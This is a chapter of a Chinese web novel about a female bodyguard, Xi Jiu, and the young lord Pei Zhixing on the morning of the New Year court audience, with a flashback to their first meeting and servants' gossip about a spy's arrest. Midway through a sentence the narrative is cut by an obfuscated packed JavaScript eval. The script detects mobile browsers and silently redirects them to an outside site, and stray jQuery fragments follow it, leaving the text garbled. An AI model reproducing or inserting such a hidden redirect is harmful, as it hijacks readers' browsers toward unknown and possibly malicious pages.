3. 第3章

作品:《她是暗卫gb

    丑时三刻,天还黑着,门被轻轻的敲响。


    奚九睁开双眼。


    她睡觉几乎不会陷入深眠。暗卫生活在刀光剑影之中,若毫无防备,谁知道哪次就在熟睡中被人割下头颅。


    身旁的人还睡着,呼吸均匀。


    裴知行睡觉习性不太好,他平日里看着端方雅正,矜贵自持,但睡着以后简直跟藤蔓一样,紧紧的缠着对方,半点都容不得离开。


    奚九轻轻推开怀中的人,托着他的脸放在软枕上,又挪开他抱在腰间的手。起身时把被子给他掖好,以免冷风吹了进去,这才套了件衣服去开门。


    现在正是夜里最冷的时刻,打开门寒风迎面扑来,门口站着裴实,也是冻得哆哆嗦嗦的。


    见奚九一开门,裴实忙问道:“奚九大人,世子在您屋里吗?”


    “嗯。”奚九道。


    裴实方才去世子房里,看到没人,便知道世子定是找奚九去了。这种情况在奚九还没从世子院里搬出去的时候经常发生,后来奚九搬到了暗卫偏院,就少了很多。


    裴实又道:“世子今日得早些起,大年初一要去宫里朝贺,耽误不得。我去膳房叫人打些热水给世子洗漱,顺便把屋里的朝服拿过来,烦请您叫声世子。”


    奚九颌首:“好。”


    “麻烦您了。”裴实说完便转身忙活。


    奚九把门合上,回了屋里。


    现下实在太早,丑时三刻,鸡还未打鸣,人就要起了。


    但大年初一这天,群臣向天子朝贺,庄严隆重。群臣需赶在寅时在宫门口等候,待卯时到,宫门开启,群臣依品级列队进入。


    奚九将屋内的油灯点亮,青灯如豆,幽幽闪烁,映得满室昏黄。


    随后走向床边,看向还睡着的人。


    裴知行半边脸埋在枕头上,几缕青丝落在他的脸颊。他睡的熟,脸泛薄红,依稀可见几分幼时的影子。


    和裴知行的初见,并不算一个很愉快的经历。


    边疆战乱,父母双双离世,妹妹坠河身亡,奚九便开始了一个人流浪,那时候她才八岁。


    而与裴知行相遇,恰恰在她最艰难的时候。


    她实在没有吃的,只能去酒楼的后厨偷东西,偷了两个冷馒头,她被三个店小二追了几条街。这一带奚九比较熟悉,她本来是有把握逃掉的。


    偏偏在拐角的时候,没看见地上躺了个人,绊了一跤,被店小二追上了。


    而地上躺着的那个人,就是裴知行。


    奚九被打得鼻青脸肿,还不忘从店小二身上顺了几个铜板,也算对得起这顿打。等人都走了,奚九才抹了把鼻血,站起来,捡起在地上沾了泥的馒头。


    虽然被绊倒,但奚九也没想过要跟死人计较,只能自认倒霉。在当时,多的是人倒了,死在路边,没人收尸。


    她转身离开,路过尸体的时候,自己的裤脚被一只手抓住。奚九顿住脚步,缓缓低头。


    细瘦的一只手,哪怕沾了脏污,也可见肤色瓷白。


    他很努力的抬头看她。


    很漂亮的一双眼睛,眼尾平滑上翘,泛着红,眼下有颗小痣,平添一丝旖旎。此时这双眼含着泪,颤巍巍的没有落下来,无端有些委屈。


    奚九沉默的看着他,看不出脸上的情绪。


    后来奚九回想过很多次,为什么当初会对裴知行动了恻隐之心,才发现是因为他的那双眼睛。


    和妹妹一般大,和妹妹一样有双无辜的眼睛,令人心软。


    ......


    月上中天,夜色融融。


    奚九将思绪从回忆中拉回,她站在床前,道:“世子,该醒了。”


    床上的人没动静,甚至把脸往枕头里更深的埋了埋。


    室内一片寂静。


    奚九沉默半晌,上前,拿手碰了下裴知行的脸。手下的肌肤温热细腻,如上好的羊脂暖玉,而奚九的手却带着冬日的凉意,冰的梦中人直皱眉。


    他睁开双眼,眼中还有些迷蒙,见是奚九,便把脸往她的掌心蹭了蹭,像猫似的。


    “该起了,今日得去朝贺,不能迟到。”奚九低声道。


    奚九说话向来没什么感情,平铺直叙。倒不是说她语气冷漠,而是平淡,宛若一潭死水。


    此时话音落入裴知行的耳朵里,让他朦胧的思绪瞬间变得清醒。意识到自己在干什么,裴知行立即将脸从奚九掌心挪开,拥着被褥坐了起来,直直的看着她。


    奚九没说什么,将自己的手收了回来,直起腰。


    “世子,小的能进来吗?”此时,门外响起了敲门声,是下人端着热水来了。


    他们等在门外。


    “起吧,洗漱一下。”奚九道。


    她转身要去给下人开门,床上的人终于说话了:“我昨晚犯了梦癔,无意识到了你这里,不是我想来的。”


    奚九脚步都没停,随口道:“嗯,我知道。”


    裴知行有梦癔症,睡着以后飘飘荡荡的在外行走,如孤魂野鬼一般。还在静观寺的时候,裴知行犯了梦癔,深夜里站在奚九床头,差点被奚九反手杀了,那时候奚九才得知裴知行有这病。


    但昨晚是否犯了梦癔,二人都心知肚明,没有点破。


    奚九的语气敷衍,让身后的人并不满意。他继续道:“昨夜是我冒犯了,给你赔个不是。”


    奚九脚步顿住,没说话。


    裴知行又道:“若日后我又犯了梦癔,你别给我开门,随我游荡到何处,只要不打扰到奚九大人就行。”


    他这话是带着情绪的,或者说带着这半年来对奚九的怨气,听着有些呛人。裴知行说完就盯着奚九的背影,等待着她的回答。


    屋内气氛有些奇怪。


    半晌,奚九将门打开:“好。”


    裴知行的眼眶又红了。


    …


    奚九开了门,候在外面的下人鱼贯而入,全是伺候裴知行洗漱的。不过一会儿,裴实就捧着朝服过来。


    奚九的住的偏院格间,面积小,一下子站了好几个人,有些周转不开,奚九便拿着自己的东西出了门去洗漱。


    待裴知行整理好以后,已经到了丑正三刻,大门口的两辆马车早已备好。


    裴铮和裴知行皆入朝为官,裴铮是正二品辅国大将军,裴知行是正五品御史中丞。裴家是武将出身,却有了个当文臣的裴知行,倒也稀奇。


    奚九早就收拾好了,仍旧是一袭黑衣,在府门外等着,卫褚也在。他们二人要随行,将两位主子护送到宫门口。


    “昨夜睡得可好?”卫褚过来跟奚九打招呼。


    奚九道:“还行。”


    确实还行,冬日本就寒冷,裴知行靠过来的时候,身上暖暖的,所以奚九也没撒谎。


    “你呢,昨晚睡得如何?”奚九礼节性问道。


    卫褚微微勾唇,神情一派轻松:“一夜好眠,倒是难得。”


    他们很多时候无法安睡,尤其是在边疆那半年,晚上睡觉的时候,不脱甲胄,连刀都是抱在怀里的。卫褚如此,奚九亦是如此。


    二人在门口闲聊了几句,裴知行就跟在裴铮身后出了门来。


    绯红官袍加身,腰间玉带紧束,衬得裴知行长身玉立。现下天还未亮,裴实在旁边提着灯笼,为裴知行照明,金线绣制的云雁纹在光下流转暗芒。


    “见过侯爷,世子。”奚九和卫褚拱手行礼道。


    裴铮“嗯”了一声,便上了马车,卫褚跟在他的身后。


    裴知行不和裴铮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171158|180671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同乘一辆,他抿着唇从奚九身旁经过,目不斜视,走到后面那辆马车,踏着脚凳进了车厢。


    裴实跟奚九赔笑一声,也跟了上去,随后将车门关上,遮挡外面的寒风。


    奚九和卫褚是暗卫,往往同马夫坐在一起,时刻警惕着外面的情况,以防有歹人刺杀。


    随着马夫轻甩马鞭,马车缓缓向前,车轮碾过寂寂长街,辕马喷鼻声惊破漫漫长夜。从平康坊到宫门口这段路,看到了不少马车,皆是去朝贺的臣子。


    待靖安侯府的马车到了宫门口时,已经到了寅时一刻,皇城朱雀门外已列满青紫袍影。众官鹄立霜阶,呵气凝作白雾。


    现在还不到御史点名的时候,所以有不少大臣三五站立,细细碎语。


    但大多说的浅,无非是新年新气象,道喜祝贺的话,其他的,如昨夜的灭门惨案只字不提,讳莫如深。


    ......


    裴实将车门推开,先行下了马车,将脚凳放好。


    以往裴知行下车,都是奚九牵着他的手下来,但今日奚九站在一旁没动,裴知行站在马车上没动。


    两人谁都没说话,仿佛对峙一般。


    裴实眼珠骨碌一转,心知不对,忙抬手上去,道:“世子仔细脚下,这脚凳结了霜,我扶稳您。”


    “不用。”裴知行拂开了裴实的手,独自下了车。


    径直走到群臣中去。


    马夫将马车赶至阙下。此处在朱雀门外,是专门用来停官员车马的。


    宫门外车马如云,朱轮华盖与青幔素辕杂陈其间。金鞍玉勒者煌煌生辉,油布旧辕者隐于角落。


    靖安侯府的马车缓缓停在前方,奚九坐在外面,背靠着车厢,闭目假寐。


    仆从将车马停至此处便不会再离开,要等到大臣下朝后,一同回府。


    趁着主子入朝的功夫,几个相熟的长随凑到宫墙根儿底下,袖着手低声攀谈起来。


    那穿绛色长袄的左右看了看,见没人,才低声道:“水部司郎中昨晚被抄家了?你们可听说?”


    旁边麻衣小厮立刻接茬:“嘘,您小声些!皇城脚下说这个晦气。”


    绛色长袄笑骂一句:“瞧你这狗胆子,我们几个相熟的聊聊,不与旁人攀谈,这就吓着你了。”


    几人身子凑近了几分,戴毡帽的老苍头压低嗓子:“我听说的是昨夜除夕还没过,大理寺就带着人上门了,抬出七八口樟木箱子,那箱角缝里还夹着半幅没烧尽的治河图纸呢......”


    “怎地这般严重?连个除夕都不能安生过,全家老老少少皆投入了大狱,怪可怜啊。”小厮面露不忍。


    绛色长袄也感叹:“而且听说那水部司郎中年纪不大呢,这就前路尽毁,真是让人唏嘘。”


    “唏嘘个什么劲儿。”老苍头面带鄙夷道,“他那是自作自受,没当场杀了他都是轻的!”


    “为何这么说?”另外两人不解。


    “你们当真不知?”老苍头狐疑道。


    绛色长袄和麻衣小厮齐齐摇头道:“当真不知。”


    “您老快说!莫要拖着我们。”麻衣小厮急道。


    老苍头鬼祟地瞄了眼四周,手捂着嘴,声音低得不能再低:“那水部司郎中是敌国的细作,传信的时候被大理寺抓了个正着。”


    “细,细作?”


    “这......怎会这般......”另外二人面色惊诧,不可置信道。


    “谁知道那水部司郎中怎么想的,竟然犯下这样的杀头大罪,真是造孽!”


    ......


    许是说了这样的秘辛,心里颤颤,没过多久几人就闭嘴散了,四周又恢复了寂静。


    而不远处,奚九靠着马车,平静的看着初升的朝阳。